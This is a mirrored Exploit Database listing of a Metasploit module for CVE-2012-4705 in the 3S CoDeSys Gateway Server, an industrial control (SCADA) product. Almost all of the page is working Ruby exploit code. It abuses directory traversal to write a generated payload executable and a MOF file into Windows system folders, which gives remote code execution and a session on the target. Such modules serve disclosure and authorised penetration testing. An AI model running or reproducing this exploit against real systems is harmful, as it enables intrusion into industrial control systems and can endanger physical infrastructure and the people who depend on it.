CADA 3S CoDeSys Gateway Server – Directory Traversal (Metasploit)

• Exploit Database
• 14 阅读

• 作者： Metasploit
  日期： 2013-02-02
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/41712/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  # http://metasploit.com
  ##
  
  require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::WbemExec
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
  'Description'=> %q{
  This module exploits a directory traversal vulnerability that allows arbitrary
  file creation, which can be used to execute a mof file in order to gain remote
  execution within the SCADA system.
  },
  'Author' =>
  [
  'Enrique Sanchez <esanchez[at]accuvant.com>'
  ],
  'License'=> 'MSF_LICENSE',
  'References' =>
  [
  ['CVE', '2012-4705'],
  ['OSVDB', '90368'],
  ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
  ],
  'DisclosureDate' => 'Feb 02 2013',
  'Platform' => 'win',
  'Targets'=>
  [
  ['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
  ],
  'DefaultTarget' => 0))
  
  register_options(
  [
  Opt::RPORT(1211),
  ], self.class)
  end
  
  ##
  # upload_file(remote_filepath, remote_filename, local_filedata)
  #
  # remote_filepath: Remote filepath where the file will be uploaded
  # remote_filename: Remote name of the file to be executed ie. boot.ini
  # local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
  def upload_file(remote_filepath, remote_filename, local_filedata = null)
  magic_code = "\xdd\xdd"
  opcode = [6].pack('L')
  
  # We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
  file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
  pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
  
  # Magic_code+ packing + size
  pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')
  
  tmp_pkt = opcode << file
  tmp_pkt += "\x00"*(0x108 - tmp_pkt.size) << [local_filedata.size].pack('L') << local_filedata
  pkt << tmp_pkt
  
  print_status("Starting upload of file #{remote_filename}")
  connect
  sock.put(pkt)
  disconnect
  
  print_status("File uploaded")
  end
  
  def exploit
  print_status("Attempting to communicate with SCADA system #{rhost} on port #{rport}")
  
  # We create an exe payload, we have to get remote execution in 2 steps
  exe = generate_payload_exe
  exe_name = Rex::Text::rand_text_alpha(8) + ".exe"
  upload_file("windows\\system32\\", exe_name, exe)
  
  # We create the mof file and upload (second step)
  mof_name = Rex::Text::rand_text_alpha(8) + ".mof"
  mof = generate_mof(mof_name, exe_name)
  upload_file("WINDOWS\\system32\\wbem\\mof\\", mof_name, mof)
  
  print_status("Everything is ready, waiting for a session ... ")
  handler
  
  #Taken from the spooler exploit writen byt jduck and HDMoore
  cnt = 1
  while session_created? == false and cnt < 25
  ::IO.select(nil, nil, nil, 0.25)
  cnt += 1
  end
  end
  end